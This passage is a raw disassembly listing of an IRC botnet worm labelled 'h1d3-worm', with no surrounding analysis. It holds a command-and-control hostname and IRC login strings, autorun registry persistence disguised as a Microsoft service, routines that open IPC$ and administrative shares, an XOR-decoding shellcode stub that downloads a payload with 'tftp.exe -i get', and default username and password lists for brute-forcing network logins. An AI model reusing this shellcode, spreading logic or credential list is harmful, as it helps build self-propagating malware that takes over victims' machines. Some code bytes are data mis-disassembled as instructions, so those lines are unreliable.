db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aAdvapi32_dllCo db 'Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_41DA64 db 1Fh ; DATA XREF: sub_4069FF:loc_406B2Ao db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToOpenIp db 'Failed to open IPC$ Restriction registry key.',0 align 4 unk_41DAA4 db 1Fh ; DATA XREF: sub_4069FF:loc_406B12o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aRestrictedAcce db 'Restricted access to the IPC$ Share.',0 align 4 unk_41DADC db 1Fh ; DATA XREF: sub_4069FF+10Co db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToRestri db 'Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_4069FF+EDo ; sub_406D25+EDo align 10h unk_41DB30 db 1Fh ; DATA XREF: sub_4069FF+91o ; sub_406D25+91o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToOpenDc db 'Failed to open DCOM registry key.',0 align 4 dword_41DB64 dd 273021Fh, 7563651Fh, 2206572h, 20BB02BBh, 4D4F4344h ; DATA XREF: sub_4069FF:loc_406A72o dd 73696420h, 656C6261h, 2E64h unk_41DB84 db 1Fh ; DATA XREF: sub_4069FF+6Co db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aDisableDcomFai db 'Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_4069FF+54o ; sub_406D25+54o align 4 word_41DBB8 dw 4Eh ; DATA XREF: sub_4069FF+38r align 4 unk_41DBBC db 1Fh ; DATA XREF: sub_406D25+2C5o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aNetworkSharesA db 'Network shares added.',0 align 4 aC db '%c:\',0 ; DATA XREF: sub_406D25+22Fo align 4 aC_0 db '%c$',0 ; DATA XREF: sub_406D25+21Eo unk_41DBF0 db 1Fh ; DATA XREF: sub_406D25:loc_406ED2o ; sub_406D25:loc_406F9Do db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToAddSSh db 'Failed to add ',27h,'%s',27h,' share.',0 align 4 unk_41DC1C db 1Fh ; DATA XREF: sub_406D25+1A6o ; sub_406D25+271o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aShareSAdded_ db 'Share ',27h,'%s',27h,' added.',0 align 10h unk_41DC40 db 1Fh ; DATA XREF: sub_406D25:loc_406E4Co db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToOpen_0 db 'Failed to open IPC$ restriction registry key.',0 align 10h unk_41DC80 db 1Fh ; DATA XREF: sub_406D25:loc_406E34o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aUnrestrictedAc db 'Unrestricted access to the IPC$ Share.',0 align 4 unk_41DCB8 db 1Fh ; DATA XREF: sub_406D25+108o db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToUnrest db 'Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_41DCF8 dd 273021Fh, 7563651Fh, 2206572h, 20BB02BBh, 4D4F4344h ; DATA XREF: sub_406D25:loc_406D98o dd 616E6520h, 64656C62h, 2Eh unk_41DD18 db 1Fh ; DATA XREF: sub_406D25+6Co db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aEnableDcomFail db 'Enable DCOM failed.',0 word_41DD3C dw 59h ; DATA XREF: sub_406D25+38r align 10h jmp short loc_41DD44 ; --------------------------------------------------------------------------- loc_41DD42: ; CODE XREF: .nsp0:loc_41DD44p jmp short loc_41DD49 ; --------------------------------------------------------------------------- loc_41DD44: ; CODE XREF: .nsp0:0041DD40j call loc_41DD42 loc_41DD49: ; CODE XREF: .nsp0:loc_41DD42j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_41DD50: ; CODE XREF: .nsp0:0041DD55j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_41DD50 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_41DD66: ; CODE XREF: .nsp0:0041DD6Bj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_41DD66 ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_41DE08 jnz short loc_41DDF4 retn ; --------------------------------------------------------------------------- loc_41DDF4: ; CODE XREF: .nsp0:0041DDF1j ; .nsp0:0041DE01j call near ptr loc_41DDF9+1 loc_41DDF9: ; CODE XREF: .nsp0:loc_41DDF4p add [edx+0], ch call sub_41DE08 jz loc_41DDF4 retn ; =============== S U B R O U T I N E ======================================= sub_41DE08 proc near ; CODE XREF: .nsp0:0041DDECp ; .nsp0:0041DDFCp pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_41DE08 endp ; --------------------------------------------------------------------------- align 8 dword_41DE38 dd 0F51h ; DATA XREF: sub_407041+3A4r ; sub_407041+45Ar dword_41DE3C dd 1B58h ; DATA XREF: sub_407041+4A4r dword_41DE40 dd 1AF4h ; DATA XREF: sub_401141+3Ar ; sub_4077FD+314Fr dword_41DE44 dd 1 ; DATA XREF: sub_4077FD+61Ar dword_41DE48 dd 1 ; DATA XREF: sub_407041+142r dword_41DE4C dd 1 ; DATA XREF: sub_40551B+Cr ; sub_407041:loc_407370r byte_41DE50 db 2Eh ; DATA XREF: sub_4037CD:loc_4037D9r ; sub_4077FD+683r ... align 4 dword_41DE54 dd 0Ah ; DATA XREF: sub_406441+2Br ; sub_406441+51r ... dword_41DE58 dd 4 ; DATA XREF: sub_40752C+78r ; sub_4077FD+26Er ... dword_41DE5C dd 1 ; DATA XREF: sub_40752C+72r ; sub_4077FD+268r aNet1 db 'net1',0 align 4 db 2 dup(0) byte_41DE6A db 1 ; DATA XREF: sub_4077FD:loc_40A5DCr ; sub_4077FD+2DE9o aNet2 db 'net2',0 dd 0 dd 2D610100h, 3368h, 0 dd 1, 2 dup(0) a3677 db '3677',0 align 4 aH1dd3n db 'h1dd3n',0 align 4 aH1d3Worm db 'h1d3-worm',0 align 4 aKtsFinal db 'KTS-Final',0 ; DATA XREF: sub_407041+62o ; sub_4077FD+24A3o ... align 4 aHum db 'Hum',0 ; DATA XREF: sub_4077FD:loc_40B084o aSock db 'sock',0 ; DATA XREF: sub_4077FD+39F2o ; sub_4077FD+3AB5o align 10h aPrv_blackroz_c db 'prv.blackroz.com',0 ; DATA XREF: sub_407041+399o ; sub_407041+44Fo align 4 aPrv db '#prv#',0 ; DATA XREF: sub_407041+3B0o ; sub_407041+461o align 4 aPr__ db 'pr..',0 ; DATA XREF: sub_407041+3C7o ; sub_407041+473o align 4 byte_41DEE4 db 70h ; DATA XREF: sub_407041:loc_4074CBr ; sub_407041+499o aRv_blackroz_co db 'rv.blackroz.com',0 align 4 aPrv_0 db '#prv#',0 ; DATA XREF: sub_407041+4ABo align 10h aPr___0 db 'pr..',0 ; DATA XREF: sub_407041+4BDo align 4 byte_41DF08 db 64h ; DATA XREF: sub_401141+68o ; sub_401141+176o ... db 6Fh, 66h, 74h dd 61786D72h, 78652E6Fh, 65h aMicrosoftsSyst db 'Microsofts Systems Services',0 ; DATA XREF: sub_4031BC+Bo aWw db 'Ww|',0 ; DATA XREF: sub_406441+12o aEncrtpyles_xml db 'encrtpyles.xml',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_4077FD+3B26o aPrv_1 db '#prv##',0 ; DATA XREF: sub_4077FD:loc_40965Do ; sub_4077FD+2FACo ... align 4 aPrv_2 db '#prv##',0 align 4 off_41DF5C dd offset a@ktw_com ; DATA XREF: sub_4077FD+3A55r ; "*@KTW.com" off_41DF60 dd offset aEggdropV1_6_20 ; DATA XREF: sub_4077FD+7F9r ; "eggdrop v1.6.20" dd offset aEggdropV1_6_17 ; "eggdrop v1.6.17" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .nsp0:off_41BD2Co align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4069FF+28o ; sub_406D25+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4069FF+D4o ; sub_406D25+D4o align 10h dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aLinux ; "linux" dd 2 dup(0) dd offset byte_4242F0 dd offset aAdmin ; "admin" dd offset aAdmin_0 ; "ADMIN" dd offset aAdmin_1 ; "Admin" dd offset aAdmin123 ; "admin123" dd offset aAdministrado_0 ; "Administrador" dd offset aAdministrate_0 ; "Administrateur" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aGuest_0 ; "guest" dd offset aGuest ; "Guest" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefault_1 ; "Default" ; --------------------------------------------------------------------------- test al, 0E2h inc ecx add [edx-1D6FFFBFh], bl inc ecx add [edx-1D83FFBFh], al inc ecx add [edx+41h], dh add [edx+41h], ch add al, dh retn 41h ; --------------------------------------------------------------------------- dd offset aUser_0 ; "User" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare ; "SHARE" dd offset aWrite ; "WRITE" ; --------------------------------------------------------------------------- cmp al, 0E2h inc ecx add [edx], dh inc ecx add [edx], ch inc ecx add [edx], ah inc ecx add [edx], bl inc ecx add [edx], dl inc ecx add [edx], cl inc ecx add al, dh retn 41h ; --------------------------------------------------------------------------- dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" dd offset aLocal ; "LOCAL" dd offset asc_41E1F8 ; "%" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset asc_41E1D4 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset dword_41A924 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" align 10h dword_41E170 dd 10h ; DATA XREF: sub_40304D+72w ; sub_4077FD+6E7r ... a000000 db '000000',0 ; DATA XREF: .nsp0:0041E168o align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:0041E164o align 4 a0000 db '0000',0 ; DATA XREF: .nsp0:0041E160o align 4 a000 db '000',0 ; DATA XREF: .nsp0:0041E15Co a00 db '00',0 ; DATA XREF: .nsp0:0041E158o align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0041E150o align 10h aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0041E14Co align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0041E148o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0041E144o align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0041E140o align 4 aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0041E13Co align 4 aXxx db 'xxx',0 ; DATA XREF: .nsp0:0041E138o aXx db 'xx',0 ; DATA XREF: .nsp0:0041E134o align 4 asc_41E1D4: ; DATA XREF: .nsp0:0041E130o unicode 0, <x>,0 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0041E12Co align 10h aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0041E128o align 4 aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0041E120o align 10h aPass_0 db 'pass',0 ; DATA XREF: .nsp0:0041E11Co align 4 asc_41E1F8: ; DATA XREF: .nsp0:0041E118o unicode 0, <%>,0 aServer_0 db 'SERVER',0 ; DATA XREF: .nsp0:0041E110o align 4 aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0041E108o align 4 aAccess db 'ACCESS',0 align 4 aTest db 'TEST',0 align 4 aDemo db 'DEMO',0 align 4 aFiles db 'FILES',0 align 4 aRead db 'READ',0 align 4 aBoth db 'BOTH',0 align 4 aFull_0 db 'FULL',0 align 4 aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0041E0E4o align 4 aShare db 'SHARE',0 ; DATA XREF: .nsp0:0041E0E0o align 4 aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0041E0DCo align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0041E0D0o align 4 aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0041E0CCo align 4 aUser_1 db 'user',0 align 4 aSystem db 'SYSTEM',0 ; DATA XREF: .nsp0:0041E10Co align 4 aSystem_0 db 'system',0 align 4 aPassword_0 db 'Password',0 align 10h aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0041E0D8o align 4 aPassword_1 db 'password',0 align 4 aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0041E114o align 10h aDefault_1 db 'Default',0 ; DATA XREF: .nsp0:0041E0A4o aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0041E0A0o aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0041E088o align 10h aAdministrate_0 db 'Administrateur',0 ; DATA XREF: .nsp0:0041E080o align 10h aAdministrado_0 db 'Administrador',0 ; DATA XREF: .nsp0:0041E07Co align 10h aAdmin123 db 'admin123',0 ; DATA XREF: .nsp0:0041E078o align 4 aAdmin_1 db 'Admin',0 ; DATA XREF: .nsp0:0041E074o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0041E070o ; .nsp0:0041E0D4o align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:0041E05Co align 4 aDb2 db 'db2',0 ; DATA XREF: .nsp0:0041E058o aOracle db 'oracle',0 ; DATA XREF: .nsp0:0041E054o align 10h aDba db 'dba',0 ; DATA XREF: .nsp0:0041E050o aDatabase db 'database',0 ; DATA XREF: .nsp0:0041E04Co ; .nsp0:0041E124o align 10h aDefault db 'default',0 ; DATA XREF: .nsp0:0041E048o ; .nsp0:0041E09Co aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0041E044o ; .nsp0:0041E094o align 10h aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0041E040o align 4 aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0041E03Co aStudent db 'student',0 ; DATA XREF: .nsp0:0041E038o aOwner db 'owner',0 ; DATA XREF: .nsp0:0041E034o align 4 aComputer db 'computer',0 ; DATA XREF: .nsp0:0041E030o align 10h aRoot db 'root',0 ; DATA XREF: .nsp0:0041E02Co align 4 aStaff db 'staff',0 ; DATA XREF: .nsp0:0041E028o align 10h aAdmin db 'admin',0 ; DATA XREF: .nsp0:0041E024o ; .nsp0:0041E06Co align 4 aAdmins db 'admins',0 ; DATA XREF: .nsp0:0041E020o align 10h aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0041E01Co aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0041E018o align 4 aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:0041E014o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: .nsp0:0041E010o ; .nsp0:0041E084o ... align 4 aEggdropV1_6_17 db 'eggdrop v1.6.17',0 ; DATA XREF: .nsp0:0041DF64o aEggdropV1_6_20 db 'eggdrop v1.6.20',0 ; DATA XREF: .nsp0:off_41DF60o a@ktw_com db '*@KTW.com',0 ; DATA XREF: .nsp0:off_41DF5Co align 4 aSDS db '%s %d "%s"',0 ; DATA XREF: sub_407041+27Do align 4 aSS_2 db '%s\%s',0 ; DATA XREF: sub_407041+195o align 4 aSS_3 db '%s%s',0 ; DATA XREF: sub_407041+112o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_407681+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 10h aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_407681+35o align 4 aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3B2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3B19o align 4 unk_41E45C db 1Fh ; DATA XREF: sub_4077FD+3AFBo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aPasswordAccept db ' Password accepted.',0 align 10h unk_41E480 db 1Fh ; DATA XREF: sub_4077FD+3AA2o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 10h unk_41E4B0 db 1Fh ; DATA XREF: sub_4077FD+3A35o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 10h aNoticeSFailed_ db 'NOTICE %s :FAILED.',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3A26o ; sub_4077FD+3A93o align 4 aNoticeSFailedS db 'NOTICE %s :FAILED (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+3A12o ; sub_4077FD+3A7Fo align 4 asc_41E518: ; DATA XREF: sub_4077FD+39E2o unicode 0, <~>,0 unk_41E51C db 1Fh ; DATA XREF: sub_4077FD+38E8o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 unk_41E54C db 1Fh ; DATA XREF: sub_4077FD+38E0o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 4 dword_41E57C dd 26D021Fh, 6E69611Fh, 2BB0220h, 732520BBh, 0 ; DATA XREF: sub_4077FD+388Co unk_41E590 db 1Fh ; DATA XREF: sub_4077FD+385Fo db 2, 73h, 2 db 1Fh db 65h, 63h, 75h db 72h ; r db 65h, 20h, 2 db 0BBh ; db 2, 0BBh, 20h aFailedToStar_1 db 'Failed to start secure thread, error: <%d>.',0 dword_41E5CC dd 273021Fh, 7563651Fh, 2206572h, 20BB02BBh, 73207325h ; DATA XREF: sub_4077FD+37F5o dd 65747379h, 2E6Dh aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_4077FD+37EFo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_4077FD+37E8o align 10h aProc db 'PROC ',0 ; DATA XREF: sub_4077FD+375Ao align 4 aProcessList db 'Process list',0 ; DATA XREF: sub_4077FD+3755o align 4 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AF1Ao align 10h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AF03o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_4077FD:loc_40AEECo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_4077FD+36DDo align 4 unk_41E664 db 1Fh ; DATA XREF: sub_4077FD+3691o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_41E694 dd 26D021Fh, 6E69611Fh, 2BB0220h, 6F4220BBh, 44492074h ; DATA XREF: sub_4077FD+3653o dd 7325203Ah, 2Eh dword_41E6B0 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD+3620o aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 align 4 dword_41E6EC dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h, 73694C20h ; DATA XREF: sub_4077FD+35C1o dd 68742074h, 64616572h, 2E73h dword_41E70C dd 627573h ; DATA XREF: sub_4077FD+359Bo dword_41E710 dd 26D021Fh, 6E69611Fh, 2BB0220h, 655220BBh, 69766F6Dh ; DATA XREF: sub_4077FD+34CDo dd 4220676Eh, 2E746Fh unk_41E72C db 1Fh ; DATA XREF: sub_4077FD+3492o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aFailedToStar_2 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_41E768 dd 270021Fh, 636F721Fh, 2BB0220h, 725020BBh, 6563636Fh ; DATA XREF: sub_4077FD+3433o dd 6C207373h, 2E747369h, 0 aFull db 'full',0 ; DATA XREF: sub_4077FD+3413o align 10h unk_41E790 db 1Fh ; DATA XREF: sub_4077FD+33C2o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aAlreadyRunning db ' Already running.',0 align 10h dword_41E7B0 dd 26D021Fh, 6E69611Fh, 2BB0220h, 705520BBh, 656D6974h ; DATA XREF: sub_4077FD+3371o dd 7325203Ah, 2Eh dword_41E7CC dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 6C432074h ; DATA XREF: sub_4077FD+32F0o dd 6F627069h, 2E647261h, 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_4077FD+32C2o align 10h aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0 ; DATA XREF: sub_4077FD:loc_40AAAFo align 4 aFlushdnsArpC_0 db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: sub_4077FD+329Do align 4 aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0 ; DATA XREF: sub_4077FD:loc_40AA7Eo align 10h aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0 ; DATA XREF: sub_4077FD:loc_40AA77o align 4 aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: sub_4077FD+3273o align 4 unk_41E8B8 db 1Fh ; DATA XREF: sub_4077FD+3202o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aFailedToStar_3 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_41E8F4 db 1Fh ; DATA XREF: sub_4077FD+30F8o db 2, 74h, 2 db 1Fh db 66h, 74h, 70h db 20h db 2, 0BBh, 2 aAlreadyRunni_0 db ' Already running.',0 align 4 dword_41E914 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD:loc_40A543o aFailedToKillTh db ' Failed to kill thread: %s.',0 dword_41E940 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD+2D3Fo aKilledThreadS_ db ' Killed thread: %s.',0 dword_41E964 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD:loc_40A4F4o aNoActiveThread db ' No active threads found.',0 align 10h dword_41E990 dd 274021Fh, 6572681Fh, 20736461h, 0BB02BB02h ; DATA XREF: sub_4077FD+2CEDo aStoppedDThread db ' Stopped: %d thread(s).',0 aAll db 'all',0 ; DATA XREF: sub_4077FD+2CD3o unk_41E9BC db 1Fh ; DATA XREF: sub_4077FD+2CC6o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_41E9E4 db 1Fh ; DATA XREF: sub_4077FD:loc_40A4AAo db 2, 73h, 2 db 1Fh db 68h, 65h, 6Ch db 6Ch ; l db 20h, 2, 0BBh db 2 aCouldnTOpenF_0 db ' Couldn',27h,'t open file: %s',0 align 4 dword_41EA0C dd 273021Fh, 6C65681Fh, 0BB02206Ch, 4620BB02h, 20656C69h ; DATA XREF: sub_4077FD+2CA3o dd 6E65706Fh, 203A6465h, 7325h unk_41EA2C db 1Fh ; DATA XREF: sub_4077FD+2C76o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_41EA54 dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_4077FD:loc_40A44Do aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 dword_41EA7C dd 264021Fh, 20736E1Fh, 0BB02BB02h ; DATA XREF: sub_4077FD+2C40o aLookupSS_ db ' Lookup: %s -> %s.',0 align 4 unk_41EA9C db 1Fh ; DATA XREF: sub_4077FD:loc_40A3EBo db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_41EACC db 1Fh ; DATA XREF: sub_4077FD+2BE4o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessKilledS db ' Process killed: %s',0 align 10h unk_41EAF0 db 1Fh ; DATA XREF: sub_4077FD:loc_40A38Do db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 align 4 unk_41EB24 db 1Fh ; DATA XREF: sub_4077FD+2B89o db 2, 70h, 2 db 1Fh db 72h, 6Fh, 63h db 20h db 2, 0BBh, 2 aProcessKilledI db ' Process killed ID: %s',0 dword_41EB48 dd 266021Fh, 656C691Fh, 2BB0220h, 654420BBh, 6574656Ch ; DATA XREF: sub_4077FD+2B1Ao dd 25272064h, 2E2773h dword_41EB64 dd 26D021Fh, 6372691Fh, 2BB0220h, 6F4320BBh, 6E616D6Dh ; DATA XREF: sub_4077FD:loc_40A2C7o dd 65732064h, 2E746Eh unk_41EB80 db 1Fh ; DATA XREF: sub_4077FD+2AC3o db 2, 6Dh, 2 db 1Fh db 69h, 72h, 63h db 20h db 2, 0BBh, 2 aClientNotOpen_ db ' Client not open.',0 align 10h unk_41EBA0 db 1Fh ; DATA XREF: sub_4077FD+2A84o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aReadFileFailed db ' Read file failed: %s',0 align 4 unk_41EBC4 db 1Fh ; DATA XREF: sub_4077FD+2A71o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aReadFileComple db ' Read file complete: %s',0 align 4 dword_41EBEC dd 26D021Fh, 6E69611Fh, 2BB0220h, 654720BBh, 736F6874h ; DATA XREF: sub_4077FD+29EEo dd 25203A74h, 2E73h unk_41EC08 db 1Fh ; DATA XREF: sub_4077FD:loc_40A1A8o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 unk_41EC3C db 1Fh ; DATA XREF: sub_4077FD+2995o db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 unk_41EC64 db 1Fh ; DATA XREF: sub_4077FD+290Fo db 2, 6Dh, 2 db 1Fh db 61h, 69h, 6Eh db 20h db 2, 0BBh, 2 aAliasAddedS_ db ' Alias added: 